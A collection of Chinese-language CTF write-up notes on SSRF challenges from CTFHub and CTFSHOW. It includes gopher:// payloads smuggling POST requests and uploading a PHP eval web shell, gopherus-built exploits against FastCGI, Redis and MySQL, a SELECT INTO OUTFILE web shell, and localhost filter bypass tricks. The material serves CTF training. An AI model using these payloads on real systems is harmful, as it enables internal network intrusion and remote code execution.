CTFHub-SSRF-内网访问
- get传参,令
url=127.0.0.1/flag.php
- 得到flag
CTFHub-SSRF-伪协议
- file协议:
- file://用于访问本地文件系统
- 用法:file:// [文件的绝对路径和文件名]
- 一般网站的目录都放在www/html/目录下,/var/www/html是Web服务器的默认根文件夹
/?url=file:///var/www/html/flag.php
- 查看源码得到flag
CTFHub-SSRF-端口扫描
- 端口扫描,一搜出来两个淘宝链接,哦原来我还不如一个开淘宝店的
- 依稀记得bp是可以拿来干这个事情的但是严格来说这个是bp的爆破功能
- bp跑的可真慢啊。。。。。。。。。。手工分段分了四段四个窗口爆破
- 不知道是不是社区版的原因还是版本救了,那也没办法,两个Java环境我是真遭不住啊
- 找到你了!8893!直接点开看response拿到flag
- url=127.0.0.1:8893
CTFHub-SSRF-POST请求
POST传参url=127.0.0.1得到一个key:914af5faca0f9e1b81bc650d0537884e
继续探索,post传一个伪协议得到一段源码(flag.php):
<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; return; } $flag=getenv("CTFHUB"); $key = md5($flag); if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; }
熟悉的server陌生的参数:$_SERVER[‘REMOTE_ADDR’]:这个系统变量是你的客户端跟你的服务器“握手”时候的IP,如果使用了“匿名代理(anonymous)”,REMOTE_ADDR将显示代理服务器的IP,访问端(有可能是用户,有可能是代理的)IP
在PHP中getenv ( 参数 )函数是一个用于获取环境变量的函数,根据提供不同的参数可以获取不同的环境变量, 当前正在执行脚本的文件名,与document root 相关,没看出来有什么作用
总结:要求保证IP地址是127.0.0.1并且以post的方式传入key(就是上边的字符串)
——————-分割线—————–
index.php被302跳转了,看一下它的源码:
<?php error_reporting(0); if (!isset($_REQUEST['url'])){ header("Location: /?url=_"); exit; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);
用了curl函数来获取并且输出数据,curl可以支持的伪协议有很多,gopher,file,dict,http/s
要求传入一个url,不限制请求方式,因此可以通过gopher协议,向flag.php传一个post报文:
POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Length: 36 Content-Type: application/x-www-form-urlencoded key=51457bb0a50c1eb2c92dcc3ec3c2cc13
报文内容显示在url上输入,被解码后保存到curl里面,再通过curl输出跳转,又解码了一次,所以要对POST报文内容进行两次url编码
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D914af5faca0f9e1b81bc650d0537884e
,得到flag
CTFHub-SSRF-上传文件
提示要上传一个文件到 \flag.php,初步怀疑是用上一个题的方法传一个木马进去
试着读一下源码,很遗憾,什么都没有读到,上御剑
很遗憾,伪协议敲错了,读到flag.php:
error_reporting(0); if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; }
怎么这么眼熟呢,果然是gopher协议
先上传个文件抓个包(离谱的是的是,网页本身没有提交文件的按钮,f12自己加一个:
<input type="submit" name="submit">
)请求信息全部复制下来,两次url编码,记得把%0A换成%0D%0A,然后上一题的套路,直接gopher协议传进去,得到flag
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520challenge-7e9b3eb463ae9fc4.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A102.0)%2520Gecko%252F20100101%2520Firefox%252F102.0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Favif%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------89800895834957885263732665617%250D%250AContent-Length%253A%2520403%250D%250AOrigin%253A%2520http%253A%252F%252Fchallenge-7e9b3eb463ae9fc4.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-7e9b3eb463ae9fc4.sandbox.ctfhub.com%253A10800%252F%253Furl%253Dfile%253A%252F%252F%252Fvar%252Fwww%252Fhtml%252Fflag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------89800895834957885263732665617%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25222.php%2522%250D%250AContent-Type%253A%2520application%252Foctet-stream%250D%250A%250D%250A%253C%253Fphp%2520phpinfo()%253B%2520%2540eval(%2524_POST%255B'haoye'%255D)%253B%2520%253F%253E%250D%250A-----------------------------89800895834957885263732665617%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------89800895834957885263732665617--
CTFHub-SSRF—fastcgi协议
- 题解没太看懂,需要一个脚本,我还没有py2,拿别人脚本跑出来的payload过了,好耶
- 今天太困了明天好好研究研究,附件文章:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
- ctfhub利用SSRF攻击内网FastCGI协议
- SSRF 学习之 ctfhub靶场-FastCGI
————————–分割线——————————-
- 时隔n天,我肥来了!
- 上次做到一半环境504了也是服了,然后因为别的事情等等等等导致这个题拖到了今天了
- 找了个好用的脚本叫gopherus,要求py2的环境(Java能不能学一学py的环境,那么好切)
- 脚本跑起来~第一行输入的是网页可访问到的文件或者文件的路径,第二行是想执行的命令
- 所以为什么有人Linux命令学的那么垃圾呢
- 把脚本生成的东西拿去url编码后直接传参,
ls /
找到一个flag_3f6f5257c78bfdb4654c09cfab6c02a6文件cat /flag_3f6f5257c78bfdb4654c09cfab6c02a6
,得到flag
CTFHub-SSRF—redis协议
- 此处特别感谢gopherus
python gopherus.py --exploit redis
,第一行选择shell类型,第二行选择路径,默认路径/var/www/html- 第三行写想传的马,生成的payload拿去编码,传参
- 看了好几个题解,都说网页504了就证明成功了,虽然但是我并不知道为啥,蚁剑连接,得到flag
CTFHub-SSRF—URL Bypass
- 题目要求请求的URL中必须包含http://notfound.ctfhub.com
- 传参:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php,得到flag
- 试了一下xip.io,被ban了
CTFHub-SSRF—数字IP Bypass
- 这次ban掉了127以及172.不能使用点分十进制的IP了
- 提示看错了以为只是ban了127和172,试了一哈十六进制,结果提示:hacker! Ban ‘/127|172|@|./‘
- 原来是吧
.
也给ban了,传参:?url=localhost/flag.php- 可以使用IP地址转换器:十进制:?url=2130706433/flag.php;十六进制:?url=0x7F000001/flag.php
CTFHub-SSRF—302跳转 Bypass
- 试了?绕过不行,结果 ?url=localhost/flag.php过了….这么离谱的吗
- 短网址-短链接生成看到有一种短链接跳转绕过,但是时间不够了,没有探索成功
- 或者使用十进制IP绕过,但是也没来的及试呜呜呜
CTFHub-SSRF—DNS重绑定 Bypass
- 域名解析重新绑定服务来这里弄一个域名:7f000001.7f000002.rbndr.us
- 直接:?url=7f000001.7f000002.rbndr.us/flag.php,bp抓包,repeater,一次不行就两次,两次不行就好多次,得到flag
CTFSHOW-web351
直接post传url=127.0.0.1/flag.php
CTFSHOW-web352
- 这里有个函数parse_url(),用于通过解析返回url的组件,它解析一个URL并返回一个包含其各个组件的关联数组
- 题意是参数须包含http或者https,post传参url=http://127.0.0.1/flag.php
- if(!preg_match(‘/localhost|127.0.0/‘))这段正则写的很奇怪,参数呢???
CTFSHOW-web353
- 过滤了localhost和127还有
. 。
什么的- 数字IP绕过:post传url=http://2130706433/flag.php 或者url=http://0x7F000001/flag.php
CTFSHOW-web354
过滤了localhost和
1 0 。
,看起来像是短链接生成的短连接包含1,呜呜呜又不想找别的了
学到了,sudo.cc指向的IP就是127.0.0.1,好耶,post传参url=http://sudo.cc/flag.php
找到了好几个解析到127.0.0.1的域名:
CTFSHOW-web355
- 限制了host长度,又双叒叕学到了:127.1是127.0.0.1的简写省略形式, 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
- post传参:url=http://0/flag.php 或url=http://127.1/flag.php
CTFSHOW-web356
- 这次限制了长度小于3,post传参:url=http://0/flag.php
CTFSHOW-web357
- DNS重绑定,两个函数:
$ip = gethostbyname($x['host']);
—— 返回主机名对应的 IPv4地址if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
- 获取一个变量,并进行过滤
- 过滤器
FILTER_VALIDATE_IP
把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围FILTER_FLAG_NO_PRIV_RANGE
要求值是 RFC 指定的私域 IP (比如 192.168.0.1)FILTER_FLAG_NO_RES_RANGE
要求值不在保留的 IP 范围内,该标志接受 IPV4 和 IPV6 值- post传参url=http://[生成的域名]/flag.php
CTFSHOW-web358
if(preg_match('/^http:\/\/ctf\..*show$/i',$url))
要求以ctf.
开始以show
结束,中间任意- post传参url=http://ctf.@127.0.0.1/flag.php?show
CTFSHOW-web359
- 打开是一个登录界面,账号密码随便填,抓包可以看到一个叫returl的参数,把它改成www.baidu.com ,返回百度的页面
- 提示是打无密码的mysql,上gopherus
- SQL写马学到了:
- 在 MySQL 中,可以使用 SELECTI…INTO OUTFILE 语句将表的内容导出成一个文本文件
- 语句基本格式如下:
SELECT 列名 FROM table [WHERE 语句] INTO OUTFILE '目标文件'[OPTIONS]
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
- 生成的payload编码后直接传进去,蚁剑连接,得到flag
CTFSHOW-web360
- 提示打redis,这个我熟啊,怎么回事怎么回事怎么回事怎么回事怎么就504了????????????!!!!!!
- 重开x10086==失败,放弃了,就跟ctfhub那个redis协议一个做法